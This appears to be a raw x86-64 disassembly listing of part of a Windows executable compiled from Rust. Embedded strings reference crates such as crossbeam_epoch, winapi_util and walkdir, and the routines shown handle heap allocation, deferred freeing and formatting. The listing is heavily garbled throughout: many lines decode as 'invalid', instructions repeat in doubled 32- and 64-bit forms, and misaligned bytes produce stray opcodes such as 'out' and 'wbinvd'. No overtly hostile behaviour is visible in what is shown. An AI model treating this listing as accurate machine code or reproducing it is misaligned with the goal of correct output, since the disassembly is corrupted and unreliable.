lea rcx, str.assertion_failed:_noborrowassertion_failed:_digits___40assertion_failed:_other___0EmptyZeroParseIntErrorInvalidDigitPosOverflowNegOverflowPhantomPinnedUtf8Errorvalid_up_toerror_len
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x1a
call fcn.1400a4530
ud2
mov qword [rsp + 0x1b0], 0
lea rcx, [rsp + 0x4f8]
lea rdx, [rsp + 0x450]
lea r8, [rsp + 0x1b0]
call fcn.1400a4580
ud2
lea rcx, [0x1400cf88f]
lea r8, str.librarycore_src_num_flt2dec_strategygrisu.rs
mov edx, 0x1c
call fcn.1400a4530
ud2
lea rcx, [0x1400cf6f2]
lea r8, [0x1400cf730]
mov edx, 0x1d
call fcn.1400a4530
ud2
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x818
call fcn.1400a42a0
xor eax, 0xf0005dd
invalid
xor eax, 0xf0005dd
or ecx, esp
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x60
movaps xmmword [rsp + 0x50], xmm7
jl 0x1400465a3
push rax
jl 0x1400465a3
push rax
movaps xmmword [rsp + 0x40], xmm6
mov rsi, qword [rcx]
and rsi, 0xfffffffffffffff8
mov rdi, qword [rsi + 0x818]
cmp rdi, 0x41
jae 0x140046618
test rdi, rdi
je case.0x14006fee5.322
lea r14, [rsi + 0x18]
lea rbx, [rsp + 0x28]
lea ebx, [rsp + 0x28]
shl rdi, 5
out 5, eax
xor r15d, r15d
movups xmm6, xmmword [0x1400d75d8]
add byte [rdi], cl
adc byte [0x1400d75e8], bh
add byte [rdi], cl
adc byte [0x1400d75e8], bh
nop dword [rax]
add byte [rbx + 0xf], al
adc byte [rsi + rdi], al
movups xmm0, xmmword [r14 + r15]
movups xmm1, xmmword [r14 + r15 + 0x10]
movaps xmmword [rsp + 0x30], xmm1
adc byte [rdi], cl
sub dword [rsp + 0x30], ecx
movaps xmmword [rsp + 0x20], xmm0
movups xmmword [r14 + r15], xmm6
movups xmmword [r14 + r15 + 0x10], xmm7
mov rcx, rbx
call qword [rsp + 0x20]
add r15, 0x20
cmp rdi, r15
jne 0x1400465c0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
invalid
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fcrossbeam_epoch_0.9.15_srcinternal.rs
mov edx, 0x40
wbinvd
add byte [rdx + 0x40], bh
mov rcx, rdi
call fcn.1400a44b0
ud2
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x868
sub esp, 0x868
sub esp, 0x868
mov qword [rsp + 0x28], rcx
mov r15, qword [rcx]
mov rdi, qword [r15 + 0x200]
and rdi, 0xfffffffffffffff8
je 0x140046701
lea rbx, [rsp + 0x58]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140046688
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call r12
and r13, 0xfffffffffffffff8
mov rdi, r13
je 0x140046701
mov r13, qword [rdi]
mov eax, r13d
and eax, 7
mov qword [rsp + 0x30], rax
cmp rax, 1
jne case.0x14005ef25.117
mov r14, qword [rdi + 0x818]
cmp r14, 0x41
jae 0x140046892
test r14, r14
je 0x140046670
lea rbp, [rdi + 0x18]
shl r14, 5
xor esi, esi
movups xmm0, xmmword [rbp + rsi]
movups xmm1, xmmword [rbp + rsi + 0x10]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400d75d8]
movups xmmword [rbp + rsi], xmm0
movups xmm0, xmmword [0x1400d75e8]
movups xmmword [rbp + rsi + 0x10], xmm0
mov rcx, rbx
call qword [rsp + 0x50]
add rsi, 0x20
cmp r14, rsi
jne 0x1400466c0
mov rcx, qword [r15 + 0x80]
mov r8, rcx
and r8, 0xfffffffffffffff8
add byte [rax], al
add byte [rcx - 0x77], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
clc
mov rdx, qword [r8 + 0x810]
mov edx, dword [rax + 0x810]
mov r14, rdx
and r14, 0xfffffffffffffff8
out 0xf8, al
out 0xf8, al
je 0x140046821
add byte [rax], al
lea rdi, [rsp + 0x60]
and al, 0x60
lea rbx, [rsp + 0x38]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
sub eax, dword [rsi]
add bl, ch
invalid
cmp byte [rbx + rcx*4 + 0x25], cl
cld
sub eax, dword [rsi]
add bl, ch
sub al, 0x66
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rcx, qword [r15 + 0x80]
pop qword [rax + 0x49000000]
mov eax, ecx
mov r8, rcx
and r8, 0xfffffffffffffff8
clc
mov rdx, qword [r8 + 0x810]
mov r14, rdx
or byte [rax], al
add byte [rcx - 0x77], cl
invalid
and r14, 0xfffffffffffffff8
je 0x140046821
invalid
invalid
add byte [rax], al
invalid
test byte [rdi + 0x48000000], bh
mov rax, rcx
mov eax, ecx
lock cmpxchg qword [r15 + 0x80], rdx
mov cl, 0x97
add byte [rax], 0
add byte [rbp - 0x30], dh
jne 0x140046740
jne 0x140046740
mov rax, qword [r15 + 0x100]
add byte [rcx], al
add byte [rax], al
cmp rcx, rax
jne 0x140046788
sal dword [rbp + 0xc], 0x48
mov eax, ecx
invalid
mov rax, rcx
enter 0x49f0, 0xf
mov cl, 0x97
lock cmpxchg qword [r15 + 0x100], rdx
cmpxchg dword [rdi + 0x100], edx
add byte [rcx], al
add byte [rax], al
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
invalid
xor edx, edx
call r12
mov rsi, qword [r14]
mov rax, qword [r14 + 8]
add r14, 0x10
mov qword [rsp + 0x50], rsi
and al, 0x50
or byte [rcx - 0x7d], cl
invalid
and al, 0x50
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
mov r8d, 0x800
add byte [rax], al
mov rcx, rdi
mov rdx, r14
call sub.VCRUNTIME140.dll_memmove
invalid
invalid
add eax, 0xf6854800
test rsi, rsi
je 0x140046821
mov r14, qword [rsp + 0x850]
mov esi, dword [rsp + 0x850]
push rax
or byte [rax], al
add byte [rax], al
cmp r14, 0x41
jae 0x140046892
add byte [rax], al
cmp r14, 0x41
jae 0x140046892
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
test r14, r14
je 0x140046740
invalid
invalid
invalid
invalid
invalid
dec dword [rcx - 0x3f]
out 5, al
shl r14, 5
shl esi, 5
xor esi, esi
movups xmm0, xmmword [rsp + rsi + 0x50]
adc byte [rsp + rsi + 0x50], al
push rax
movups xmm1, xmmword [rsp + rsi + 0x60]
adc byte [rsp + rsi + 0x60], cl
invalid
movaps xmmword [rsp + 0x40], xmm1
and al, 0x40
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
movups xmm0, xmmword [0x1400d75d8]
movups xmmword [rsp + rsi + 0x50], xmm0
push rax
fisttp qword [0x151136806]
xor al, 0x50
push rax
add byte [rdi], cl
adc dword [rsp + rsi + 0x50], eax
push rax
push rax
movups xmm0, xmmword [0x1400d75e8]
add eax, 0x90de1
or dword [rax], eax
movups xmmword [rsp + rsi + 0x60], xmm0
xor al, 0x60
mov rcx, rbx
mov ecx, ebx
call qword [rsp + 0x30]
add rsi, 0x20
invalid
and byte [rcx + 0x39], cl
div byte [rbp - 0x3c]
invalid
jmp 0x140046740
dec dword [rbp - 0x75]
xchg dword [rax + 0x49000000], eax
and eax, 0xfffffff8
clc
mov r8, qword [r15 + 0x80]
and r8, 0xfffffffffffffff8
clc
clc
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x62af5
adc eax, 0x62af5
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
mov eax, dword [rax]
mov eax, dword [rax]
cmp rax, 0xffffffffffffffff
je 0x140046863
lock dec qword [rax + 8]
jne 0x140046863
or byte [rbp + 0x13], sil
mov r8, qword [rax - 8]
mov rcx, qword [0x1400f0220]
invalid
cdq
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add byte [rax + 0x68c48148], dl
or byte [rax], al
add byte [rbx + 0x5d], bl
nop
add rsp, 0x868
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rax - 0x73], cl
lea rdx, [rsp + 0x50]
push rsp
and al, 0x50
call fcn.1400a51f0
add eax, 0x4c0b0f00
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fcrossbeam_epoch_0.9.15_srcinternal.rs
lea eax, [0x1400d75f8]
add eax, 0x90d5f
mov edx, 0x40
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.1400a44b0
add eax, 0xcc0b0f00
ud2
int3
int3
int3
int3
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
mov rax, qword [rcx]
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
mov edi, dword [rax + 8]
sbb byte [rax - 0x75], cl
mov edi, dword [rax + 8]
js case.0x1400356f8.122
mov qword [rax], 0
test rbx, rbx
test ebx, ebx
add byte [rax], al
add byte [rax - 0x7b], cl
test ebx, ebx
fisttp dword [rdi]
test byte [rdx], dl
add dword [rax], eax
je case.0x14003d841.73
add byte [rdi], cl
movzx eax, byte [0x1400f02c0]
mov dh, 5
call 0x188047372
mov ecx, dword [0x1400f0220]
cdq
or al, byte [rax]
cdq
or al, byte [rax]
mov rcx, qword [0x1400f0220]
cdq
or al, byte [rax]
test rcx, rcx
jne 0x1400468fd
call qword [sym.imp.kernel32.dll_GetProcessHeap]
sub al, byte cs:[rsi]
add byte [rax - 0x7b], cl
test rax, rax
invalid
test dh, cl
invalid
invalid
test rax, rax
je 0x1400469c1
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rax
mov qword [0x1400f0220], rax
cdq
or al, byte [rax]
ror dword [rax - 0x77], 5
and ebx, dword [rcx - 0x47befff6]
cdq
or al, byte [rax]
mov r8d, 0x818
mov r8d, 0x818
mov eax, 0x818
or byte [rax], al
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapAlloc]
invalid
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
invalid
invalid
invalid
test rax, rax
test eax, eax
je 0x1400469c1
mov rsi, rax
invalid
mov qword [rax + 0x810], 0
adc byte [rax], 8
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 5
add eax, 0xa9997
movzx eax, byte [0x1400f02c0]
add eax, 0xa9997
mov rcx, qword [0x1400f0220]
cwde
or al, byte [rax]
invalid
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne case.0x14005ef25.140
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
test eax, eax
sub dword [rsi], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov es, word [rax]
add byte [rax], al
invalid
test eax, eax
je case.0x1400402b0.60
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
mov qword [0x1400f0220], rax
invalid
invalid
mov rcx, rax
mov ecx, eax
mov qword [0x1400f0220], rax
add eax, 0xa98d2
mov r8d, 0x300
add byte [rbx], al
add byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x629c4
sub dword [rsi], eax
add byte [rax - 0x7b], cl
invalid
sub dword [rsi], eax
add byte [rax - 0x7b], cl
sal byte [rcx + rsi*2 + 0x48], 0x89
je case.0x1400402b0.60
mov rcx, rax
invalid
invalid
invalid
test eax, eax
je case.0x1400402b0.60
mov rcx, rax
and rcx, 0xffffffffffffff80
loope case.0x14002cfa3.110
or byte [rax - 0x73], 0x91
lea rdx, [rcx + 0x80]
xchg ecx, eax
add byte [rax], 0
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rcx + 0x78], rax
js case.0x1400402b0.57
mov qword [rcx + 0x80], 1
mov dword [rcx + 0x80], 1
add dword [rax + 0x1000000], 0x48000000
mov dword [rcx + 0x88], 1
invalid
mov byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rcx + 0x88], 1
or dword [rax + 0x1000000], 0x48000000
mov dword [rcx + 0x100], esi
mov cl, 0
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rcx + 0x100], rsi
mov cl, 0
add dword [rax], eax
add byte [rax], al
invalid
invalid
mov qword [rcx + 0x180], rsi
mov qword [rcx + 0x200], 0
add dword [rax], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax + 2], 0x48000000
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov cl, 0x80
add dword [rax], eax
add byte [rax - 0x39], cl
add dword [rax], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
add dword [rax + 2], 0x48000000
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
add ecx, dword [rax - 0x77]
mov dword [rax], edx
mov rax, qword [rdi]
mov qword [rax], rdx
mov dword [rax], edx
mov rax, qword [rdi]
mov byte [rax], 1
add byte [rcx], al
add byte [rcx], al
add dword [rax - 0x7d], ecx
invalid
add rsp, 0x20
pop rbx
pop rdi
and byte [rbx + 0x5f], bl
pop rsi
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x818], bh
sbb byte [rax], cl
add byte [rax], al
mov edx, 0x818
sbb byte [rax], cl
add byte [rax], al
call fcn.1400a42a0
ud2
fadd dword [0xf90f78d3]
add eax, 0xb90b0f00
mov ecx, 0x80
mov edx, 0x280
add byte [rdx], 0
add al, byte [rax]
invalid
add byte [rax], 0
add byte [rdx + 0x280], bh
add byte [rdx], 0
add al, byte [rax]
invalid
add al, byte [rax]
add al, ch
call fcn.1400a42a0
ud2
mov edi, 0xf0005d8
or ecx, dword [rax - 0x73]
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or dword [rax], eax
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_synconce.rs
or dword [rax], eax
mov edx, 0x2b
call fcn.1400a4530
invalid
invalid
add byte [rdi], cl
invalid
add byte [rax], al
add al, ch
xor eax, 0xf0005db
invalid
invalid
add byte [rdi], cl
fild dword [0x10c0f78fe]
add byte [rdi], cl
or ecx, esp
int3
invalid
invalid
jne 0x140046a17
mov dword [rcx], 0
add dword [rax], eax
add byte [rax], al
add dh, al
mov byte [rcx + 4], 0x1f
mov byte [rcx + 4], 0x1f
mov byte [rcx + 8], 0x12
or byte [rdx], dl
ret
movzx r8d, dl
mov dh, 0xc2
dec r8d
cmp r8d, 0x30
cmp eax, 0x30
cmp eax, 0x30
ja case.0x140046a36.6
xchg ebp, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0xa02fd
movsxd r8, dword [r9 + r8*4]
lea r9, [0x1400e6d2c]
or eax, 0xa02fd
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
enter 0xffffffffffffff41, 0xffffffffffffffe0
mov byte [rcx + 4], 0
add al, 0
mov dword [rcx], 2
ret
mov byte [rcx + 4], 2
add al, 2
mov dword [rcx], 2
ret
mov byte [rcx + 4], 5
add al, 5
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0xc
add al, 0xc
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
ret
mov byte [rcx + 4], 0xd
add al, 0xd
mov dword [rcx], 2
ret
add dword [rdx], eax
add byte [rax], al
add bl, al
mov byte [rcx + 4], 0xe
add al, 0xe
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0xf
add al, 0xf
invalid
mov dword [rcx], 2
ret
mov byte [rcx + 4], 9
add al, 9
add al, 9
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0xa
add al, 0xa
mov dword [rcx], 2
ret
add bl, al
mov byte [rcx + 4], 1
add al, 1
mov dword [rcx], 2
ret
mov byte [rcx + 4], 3
mov dword [rcx], 2
add byte [rax], al
add bl, al
mov byte [rcx + 4], 4
mov dword [rcx], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
ret
mov r8d, edx
and r8b, 0x20
invalid
and byte [rbp + rcx*4 + 0x4a], al
rol byte [rcx - 0x80], 0xf9
cmp cl, 0x3f
lea r9d, [rdx - 0x40]
cmp r9b, 0x3f
cmp cl, 0x3f
jae 0x140046b30
shr r8b, 5
mov byte [rcx + 4], 0x14
add al, 0x14
jmp 0x140046b51
mov byte [rcx + 4], 6
add al, 6
mov dword [rcx], 2
ret
mov byte [rcx + 4], 7
add al, 7
mov dword [rcx], 2
ret
mov byte [rcx + 4], 8
add al, 8
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0xb
add al, 0xb
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0x10
add al, 0x10
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0x11
mov dword [rcx], 2
add bl, al
add bl, al
mov byte [rcx + 4], 0x12
add al, 0x12
mov dword [rcx], 2
ret
mov byte [rcx + 4], 0x13
add al, 0x13
mov dword [rcx], 2
ret
add byte [rax], al
add bl, al
cmp dl, 0xbf
jge 0x140046b3f
shr r8b, 5
mov byte [rcx + 4], 0x15
add al, 0x15
call 0x144463141
adc eax, 0x8d4412eb
cmp r9b, 0x3f
cmp cl, 0x3f
add al, 0x15
jmp 0x140046b51
lea r9d, [rdx + 0x40]
cmp r9b, 0x3f
cmp cl, 0x3f
cmp cl, 0x3f
jae 0x140046b5f
shr r8b, 5
mov byte [rcx + 4], 0x16
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
invalid
invalid
mov dword [rcx], 2
invalid
ret
mov dword [rcx], 0
mov byte [rcx + 8], 0x14
mov byte [rcx + 9], dl
ret
add byte [rax], al
add dh, al
or byte [r8 + rcx*4], dl
push rcx
or ebx, eax
int3
push rdi
sub rsp, 0x48
mov rsi, rdx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x40], ecx
lea rdi, [rcx + 8]
jns 0x140046b8a
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.ErrordepthinnerIopatherrLoopancestorchild
mov r8d, 5
mov eax, 5
mov eax, 5
add byte [rax], al
add bh, bh
invalid
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov byte [rsp + 0x39], 0
lea rax, case.0x14003cbdd.161
push rax
sbb byte [rax - 0x77], cl
je 0x140046bc2
xor byte [rax - 0x39c7dbbc], cl
and al, 0x39
add byte [rax - 0x73], cl
add eax, 0x271
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x1400e0b6b]
lea rsi, [rsp + 0x30]
mov r8d, 4
add byte [rax - 0x73], cl
je 0x140046be3
xor byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov rcx, rsi
int1
mov r9, rdi
call fcn.14003fab0
lea rax, [0x140046c50]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x1400d7ddb]
not dword [rcx]
or dword [rax], eax
add byte [rbp + rcx*4 + 0x4c], cl
and al, 0x40
lea r9, [rsp + 0x40]
and al, 0x40
mov r8d, 8
mov rcx, rsi
mov ecx, esi
call fcn.14003fab0
cmp byte [rsp + 0x39], 0
jl case.0x14007fe84.264
cmp dword [rax], eax
invalid
jl case.0x14007fe84.264
cmp dword [rax], eax
movzx eax, byte [rsp + 0x38]
and al, 0x38
and al, 0x38
je 0x140046c43
test al, al
mov al, 1
jne 0x140046c43
invalid
sal byte [rax + 0x483a7501], 0x8b
and al, 0x30
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x140046c2b
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
invalid
invalid
lea rdx, [0x1400db5bf]
adc eax, 0x9499c
mov r8d, 2
jmp 0x140046c40
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e13db]
lea edx, [0x1400e13db]
lea edx, [0x1400e13db]
movabs eax, dword [0x1b8410009a7]
add bh, bh
push rax
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
sbb byte [rax + rax*8 + 0x48c0950f], al
add esp, 0x48
test al, al
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
in al, dx
mov rsi, rdx
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
invalid
mov eax, dword [rcx]
cmp dword [rax], 0
je case.0x14002cfa3.165
add rax, 4
mov qword [rsp + 0x40], rax
add al, 0x48
mov dword [rsp + 0x40], eax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
invalid
invalid
sub byte [rax - 0x73], r9b
lea rdx, [0x1400e5f24]
adc eax, 0x9f2a7
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
mov r8d, 4
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
and al, 0x38
and al, 0x38
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
and al, 0x39
cmp dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x28]
lea r8, [0x140046d50]
lea eax, [0x140046d50]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.14003fc80
invalid
invalid
invalid
invalid
dec dword [rax - 0x75]
and al, 0x28
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je case.0x14002cfa3.166
cmp byte [rax - 0x7b], cl
sal byte [rax + rdi*2 - 0x4d], 1
mov bl, 1
mov bl, 1
test cl, cl
jne case.0x140041cc2.65
mov rsi, qword [rsp + 0x30]
cmp rax, 1
add dword [rbp + 0x29], esi
invalid
sub dword [rax + 0x39247c], eax
cmp byte [rsp + 0x39], 0
cmp dword [rax], eax
je 0x140046cfc
test byte [rsi + 0x34], 4
jne 0x140046cfc
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
adc eax, 0x98866
adc eax, 0x98866
mov r8d, 1
mov eax, 1
add bh, bh
call qword [rax + 0x18]
test al, al
jne case.0x140041cc2.65
push rax
sbb byte [rax + rax*8 - 0x74b7bf8b], al
and byte [rax - 0x75], r9b
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
adc eax, 0x99e7a
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x99e7a
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov ebx, eax
jmp case.0x140041cc2.65
push rax
sbb byte [rcx + 0x4824ebc3], cl
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSomeBUG:_stack_should_be_non_emptyC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwalkdir_2.4.0_srclib.rs
lea edx, str.NoneSomeBUG:_stack_should_be_non_emptyC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwalkdir_2.4.0_srclib.rs
sbb byte [rax - 0x73], cl
lea edx, str.NoneSomeBUG:_stack_should_be_non_emptyC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwalkdir_2.4.0_srclib.rs
adc eax, 0x9f1f5
mov r8d, 4
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov ebx, ecx
test bl, bl
setne al
ror byte [rax - 0x7d], 0xc4
pop rbx
add rsp, 0x48
pop rbx
pop rsi
ret
int3
sub rsp, 0x48
mov rsi, rdx
mov rax, qword [rcx]
invalid
mov qword [rsp + 0x40], rax
and al, 0x40
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1400d9d54]
adc eax, 0x92fe4
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x92fe4
add byte [rcx - 0x48], al
mov r8d, 6
invalid
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x30], esi
and al, 0x30
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
sub byte [rax], al
add byte [rax], al
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14003d1a0]
add eax, 0xffff6409
sub byte [rax], al
add byte [rax], al
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x14003d1a0]
add eax, 0xffff6409
add eax, 0xffff6409
invalid
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
invalid
push rsp
and al, 0x40
invalid
call fcn.14003fc80
mov rax, qword [rsp + 0x28]
invalid
fimul dword [rsi - 0x74b70001]
and al, 0x28
invalid
invalid
movzx ecx, byte [rsp + 0x38]
mov dh, 0x4c
and al, 0x38
test rax, rax
je 0x140046e0b
sal byte [rsi + rdx*2 - 0x4d], 1
mov bl, 1
add dword [rcx + rcx*8 - 0x74b7ad8b], eax
je 0x140046de3
invalid
test cl, cl
jne 0x140046e0d
push rdx
push rdx
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x7d], cl
cmp rax, 1
clc
add dword [rbp + 0x29], esi
jne 0x140046def
jne 0x140046def
cmp byte [rsp + 0x39], 0
je 0x140046def
invalid
add byte [rdx + riz - 0xa], dh
test byte [rsi + 0x34], 4
xor al, 4
add al, 0x75
sbb al, 0x48
invalid
jne 0x140046def
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400df555]
lea edx, [0x1400df555]
sub byte [rax - 0x73], cl
adc eax, 0x98773
or dword [rax], eax
lea edx, [0x1400df555]
or dword [rax], eax
mov r8d, 1
mov eax, 1
call qword [rax + 0x18]
test al, al
invalid
jne 0x140046e0d
invalid
sal byte [rbp + 0x1e], 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
lea edx, [0x1400e0b85]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e0b85]
lea edx, [0x1400e0b85]
lea edx, [0x1400e0b85]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x140046e0d
mov ebx, ecx
test bl, bl
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
invalid
fisttp dword [rdi]
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rbx
pop rbx
pop rsi
ret
int3
iretd
mov dh, 1
lea rcx, [0x1400e6df0]
or eax, 0x9ffb9
add dword [rax - 0x73], ecx
or eax, 0x9ffb9
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7dd3]
or byte [rdi], 9
invalid
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x90f80
or byte [rdi], 9
invalid
or byte [rdi], 9
wbinvd
add cl, ch
or eax, 0x48000002
add byte [rax - 0x75], cl
invalid
invalid
jmp 0x140047065
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x90f78
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x90f78
invalid
mov r8d, 6
add byte [rax], al
add cl, ch
add byte [rax], al
jmp 0x140047136
rol byte [rdx], 0
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x90f60
